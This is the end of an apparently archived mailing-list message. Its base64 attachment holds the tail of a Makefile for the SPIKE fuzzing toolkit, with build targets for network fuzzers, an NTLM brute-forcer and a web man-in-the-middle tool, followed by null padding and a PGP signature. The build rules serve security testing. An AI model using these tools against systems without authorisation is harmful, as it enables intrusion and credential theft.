cGlrZTogJChTRF9PQlMpCgkkKENDKSAtbyBzdGF0ZF9zcGlrZSAkKFNEX09CUykKCngxMV9zcGlr
ZTogJChYMTFfT0JTKQoJJChDQykgLW8geDExX3NwaWtlICQoWDExX09CUykKCnBvc3Rfc3Bpa2U6
ICQoUFNfT0JTKQoJJChDQykgLW8gcG9zdF9zcGlrZSAkKFBTX09CUykKCndlYmZ1eno6ICQoU1BJ
S0VfT0JTKSB3ZWJmdXp6Lm8KCSQoQ0MpIC1vIHdlYmZ1enogJChTUElLRV9PQlMpIHdlYmZ1enou
bwoKZ29waGVyZDogJChTUElLRV9PQlMpIGdvcGhlcmQubwoJJChDQykgLW8gZ29waGVyZCAkKFNQ
SUtFX09CUykgZ29waGVyZC5vCgpwb3N0X2Z1eno6ICQoU1BJS0VfT0JTKSBwb3N0X2Z1enoubwoJ
JChDQykgLW8gcG9zdF9mdXp6ICQoU1BJS0VfT0JTKSBwb3N0X2Z1enoubwoKCmNsb3NlZF9zb3Vy
Y2Vfd2ViX3NlcnZlcl9mdXp6OiAkKFNQSUtFX09CUykgY2xvc2VkX3NvdXJjZV93ZWJfc2VydmVy
X2Z1enoubwoJJChDQykgLW8gY2xvc2VkX3NvdXJjZV93ZWJfc2VydmVyX2Z1enogJChTUElLRV9P
QlMpIGNsb3NlZF9zb3VyY2Vfd2ViX3NlcnZlcl9mdXp6Lm8KCm1zcnBjZnV6ejogJChTUElLRV9P
QlMpIG1zcnBjZnV6ei5vCgkkKENDKSAtZ2dkYiAtbyBtc3JwY2Z1enogJChTUElLRV9PQlMpIG1z
cnBjZnV6ei5vCgpvbGRtc3JwY2Z1eno6ICQoU1BJS0VfT0JTKSBvbGRtc3JwY2Z1enoubwoJJChD
QykgLWdnZGIgLW8gb2xkbXNycGNmdXp6ICQoU1BJS0VfT0JTKSBvbGRtc3JwY2Z1enoubwoKZG9f
cG9zdDogJChTUElLRV9PQlMpIGRvX3Bvc3QubwoJJChDQykgLWdnZGIgLW8gZG9fcG9zdCAkKFNQ
SUtFX09CUykgZG9fcG9zdC5vCgpudGxtX2JydXRlOiAkKFNQSUtFX09CUykgbnRsbV9icnV0ZS5v
IGxpYm50bG0tMC4yMS9saWJudGxtLmEKCSQoQ0MpIC1nZ2RiIC1vIG50bG1fYnJ1dGUgICQoU1BJ
S0VfT0JTKSBudGxtX2JydXRlLm8gbGlibnRsbS0wLjIxL2xpYm50bG0uYQoKbnRsbTI6ICQoU1BJ
S0VfT0JTKSBudGxtMi5vIGxpYm50bG0tMC4yMS9saWJudGxtLmEKCSQoQ0MpIC1nZ2RiIC1vIG50
bG0yICAkKFNQSUtFX09CUykgbnRsbTIubyBsaWJudGxtLTAuMjEvbGlibnRsbS5hCgoKbGlibnRs
bS0wLjIxL2xpYm50bG0uYTogCgljZCBsaWJudGxtLTAuMjEgJiYgbWFrZQoKd2VibWl0bTogd2Vi
bWl0bS5vIGJ1Zi5vCgkkKENDKSAtZ2dkYiAtbyB3ZWJtaXRtIHdlYm1pdG0ubyBidWYubyAtbHNz
bAogCmNpdHJpeDogY2l0cml4Lm8gJChTUElLRV9PQlMpCgkkKENDKSAtZ2dkYiAtbyBjaXRyaXgg
Y2l0cml4Lm8gJChTUElLRV9PQlMpCgpoYWxmbGlmZTogaGFsZmxpZmUubyAkKFNQSUtFX09CUykK
CSQoQ0MpIC1nZ2RiIC1vIGhhbGZsaWZlIGhhbGZsaWZlLm8gJChTUElLRV9PQlMpCgpxdWFrZTog
cXVha2UubyAkKFNQSUtFX09CUykKCSQoQ0MpICAtZ2dkYiAtbyBxdWFrZSBxdWFrZS5vICAkKFNQ
SUtFX09CUykKCnF1YWtlc2VydmVyOiBxdWFrZXNlcnZlci5vICQoU1BJS0VfT0JTKQoJJChDQykg
IC1nZ2RiIC1vIHF1YWtlc2VydmVyIHF1YWtlc2VydmVyLm8gICQoU1BJS0VfT0JTKQoKZGx0ZXN0
OiBkbHRlc3QubyBkbHJwYy5vIGRsYXJncy5vCgkkKENDKSAtZ2dkYiAtbyBkbHRlc3QgZGx0ZXN0
Lm8gZGxycGMubyBkbGFyZ3MubyAtbGRsCgojdGhpcyBuZXh0IGxpbmUgbWF5IGJlIGxlc3MgdGhh
biBwb3J0YWJsZQpsaWJkbHJwYy5zbzogZGxycGMubyBkbGFyZ3MubyAkKFNQSUtFX09CUykKCWxk
ICAgLXNoYXJlZCAtc29uYW1lIGxpYmRscnBjLnNvIC1vIGxpYmRscnBjLnNvIC1sYyAgZGxycGMu
byBkbGFyZ3MubyAkKFNQSUtFX09CUykKCmdlbmVyaWNfbGlzdGVuX3RjcDogZ2VuZXJpY19saXN0
ZW5fdGNwLm8gZGxycGMubyBkbGFyZ3MubyAkKFNQSUtFX09CUykgbGliZGxycGMuc28KCWV4cG9y
dCBMRF9MSUJSQVJZX1BBVEg9LjokKExEX0xJQlJBUllfUEFUSCkKCSQoQ0MpIC1nZ2RiIC1vIGdl
bmVyaWNfbGlzdGVuX3RjcCBnZW5lcmljX2xpc3Rlbl90Y3AubyBkbHJwYy5vIGRsYXJncy5vICQo
U1BJS0VfT0JTKSAtbGRsIC1MLiAtbGRscnBjCgpnZW5lcmljX3dlYl9zZXJ2ZXJfZnV6ejogZ2Vu
ZXJpY193ZWJfc2VydmVyX2Z1enoubyBkbHJwYy5vIGRsYXJncy5vICQoU1BJS0VfT0JTKSBsaWJk
bHJwYy5zbwoJZXhwb3J0IExEX0xJQlJBUllfUEFUSD0uOiQoTERfTElCUkFSWV9QQVRIKQoJJChD
QykgLWdnZGIgLW8gZ2VuZXJpY193ZWJfc2VydmVyX2Z1enogZ2VuZXJpY193ZWJfc2VydmVyX2Z1
enoubyBkbHJwYy5vIGRsYXJncy5vICQoU1BJS0VfT0JTKSAtbGRsIC1MLiAtbGRscnBjCgpnZW5l
cmljX2NodW5rZWQ6IGdlbmVyaWNfY2h1bmtlZC5vIGRsYXJncy5vICQoU1BJS0VfT0JTKSBsaWJk
bHJwYy5zbwoJZXhwb3J0IExEX0xJQlJBUllfUEFUSD0uOiQoTERfTElCUkFSWV9QQVRIKQoJJChD
QykgLWdnZGIgLW8gZ2VuZXJpY19jaHVua2VkIGdlbmVyaWNfY2h1bmtlZC5vIGRscnBjLm8gZGxh
cmdzLm8gJChTUElLRV9PQlMpIC1sZGwgLUwuIC1sZGxycGMKCgoKY2xlYW46CglybSAtZiAqfiAq
LmJhawoJcm0gLWYgaW5jbHVkZS8qfiBpbmNsdWRlLyouYmFrCglybSAtZiAqLm8gJChCSU5TKQoJ
Y2QgbGlibnRsbS0wLjIxICYmIG1ha2UgY2xlYW4KCnJlYWxjbGVhbjogY2xlYW4KCXJtIC1yZiAj
KiAqLnN3cCAqfiBjb3JlCglscyAtYWwgb3V0KiAqLnR4dAoKCgoKCgAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA=

--=-d7Vz59AFX5iF8U+6UTNl--

--=-yIicREUTyGbIzm1zbRuP
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA9D5ArB8JNm+PA+iURAsGBAKDgk75USdvgNBgxSGMjxsJ23x/QmgCfbd2z
LlzUSg+SKWzen23TzaQU3VM=
=JPYf
-----END PGP SIGNATURE-----

--=-yIicREUTyGbIzm1zbRuP--


home help back first fref pref prev next nref lref last post